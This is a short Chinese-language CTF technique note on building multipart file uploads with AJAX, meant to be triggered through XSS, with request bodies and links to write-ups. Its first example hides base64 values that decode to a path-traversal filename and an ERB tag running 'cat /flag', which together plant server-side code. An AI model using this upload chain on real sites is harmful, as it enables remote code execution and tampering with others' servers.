ajax上传表单的俩种方式

1.用h5对象上传表单(图片)

    var formData = new FormData();
formData.append("authenticity_token", '1212121212');
formData.append("file[context]", "zxcvxzcvxzcv");
var content = 'PCU9IGBjYXQgL2ZsYWcgYCAlPg=='; //这是文件内容的base64
var blob = new Blob([content], { type: "image/png"});
formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"); //这里是文件名的base64
formData.append("commit", 'submit');
var request = new XMLHttpRequest();
request.open("POST", "https://xz.aliyun.com/t/3245");
request.send(formData);

请求体

------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="authenticity_token" 1212121212
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="file[context]" zxcvxzcvxzcv
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="file[myfile]"; filename="Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"
Content-Type: image/png PCU9IGBjYXQgL2ZsYWcgYCAlPg==
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="commit" submit
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2--

1.用h5对象上传表单(txt)

    var formData = new FormData();
var content = 'testestestes'; //这是文件内容的base64
var blob = new Blob([content], { type: "text/plain"});
formData.append("file[myfile]", blob,"haha.txt"); //这里是文件名的base64
formData.append("commit", 'submit');
var request = new XMLHttpRequest();
request.open("POST", "https://xz.aliyun.com/t/3245");
request.send(formData);

请求体

------WebKitFormBoundaryFcFYtbPnXsiq8yjI
Content-Disposition: form-data; name="file[myfile]"; filename="haha.txt"
Content-Type: text/plain testestestes
------WebKitFormBoundaryFcFYtbPnXsiq8yjI
Content-Disposition: form-data; name="commit" submit
------WebKitFormBoundaryFcFYtbPnXsiq8yjI--

2.使用原生js上传表单数据

通过余弦这个网站辅助生成表单

xhr = function(){
/*AJAX*/
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else if(window.ActiveXObject) {
try {
request = new window.ActiveXObject('Microsoft.XMLHTTP');
} catch(e) {}
}
return request;
}(); request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-Type',content_type);
xhr.send(argv);
return xhr.responseText;
} attack_a = function(){
var src = "https://xz.aliyun.com";
var authenticity_token = "1212121212";
var file = "zxcvxzcvxzcv";
var argv_0 = "\r\n";
argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"authenticity_token\"\r\n\r\n";
argv_0 += (authenticity_token+"\r\n");
argv_0 += "---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"file\"\r\n\r\n";
argv_0 += (file+"\r\n");
argv_0 += "---------------------7964f8dddeb95fc5--\r\n";
request("POST",src,argv_0,"multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
}

请求体:

---------------------7964f8dddeb95fc5
Content-Disposition: form-data; name="authenticity_token" 1212121212
---------------------7964f8dddeb95fc5
Content-Disposition: form-data; name="file" zxcvxzcvxzcv
---------------------7964f8dddeb95fc5--

ajax上传表单的俩种方式

HCTF share的详解ajax构造表单:

https://xz.aliyun.com/t/3258   xss上传表单

http://sec2hack.com/ctf/sctf2018-web-writeup.html xss获取源码

https://xz.aliyun.com/t/2469#toc-1巅峰极客wp,xss获取图片

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